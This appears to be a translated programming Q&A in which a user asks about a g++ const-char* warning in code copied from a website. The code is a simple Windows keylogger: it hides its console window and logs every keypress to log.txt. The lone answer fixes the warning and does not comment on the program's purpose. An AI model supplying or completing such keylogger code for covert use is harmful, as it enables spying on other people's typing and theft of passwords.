尝试编译C ++程序后出现错误

时间:2018-06-19 17:48:00

标签: c++ gcc compiler-errors compilation deprecated

我最近遇到了一个已解决的问题(正在使用c编译器编译c ++程序),但是在从站点复制的代码中带来了一些新错误。使用g++ -o wowie wowie.c命令编译以下代码后,

#include <iostream>
#include <Windows.h>
using namespace std;
int Save(int _key, char* file);
int main()
{
    FreeConsole();
    char i;
    while (true) {
        Sleep(10);
        for (i = 8; i <= 255; i++) {
            if (GetAsyncKeyState(i) == -32767) {
                Save(i, "log.txt");
            }
        }
    }
    return 0;
}
int Save(int _key, char* file)
{
    cout << _key << endl;
    Sleep(10);
    FILE* OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");
    if (_key == VK_SHIFT)
        fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
    else if (_key == VK_BACK)
        fprintf(OUTPUT_FILE, "%s", "[BACK]");
    else if (_key == VK_LBUTTON)
        fprintf(OUTPUT_FILE, "%s", "[LBUTTON]");
    else if (_key == VK_RETURN)
        fprintf(OUTPUT_FILE, "%s", "[RETURN]");
    else if (_key == VK_ESCAPE)
        fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
    else
        fprintf(OUTPUT_FILE, "%s", &_key);
    fclose(OUTPUT_FILE);
    return 0;
}

命令提示符说:

wowie.c: In function 'int main()':
wowie.c:12:19: warning: deprecated conversion from string constant to 'char*' [-Wwrite-strings]
  Save(i, "log.txt");
               ^

代码中是否存在错误,或者我做错了如何解决?如果有人可以提供帮助,我将非常感激。谢谢! (使用GCC编译器,Windows 10 64位)

1 个答案:

答案 0 :(得分:1)

字符串文字具有类型const char[N](您不应修改它们),可以将其转换为`const char。

您正在将一个传递给参数为char*的函数,这意味着允许该函数修改字符串,这很可能导致意外结果。

除非确实需要修改传递给它的文件名,否则您应该将Save函数更改为const char*

int Save(int _key, const char *file);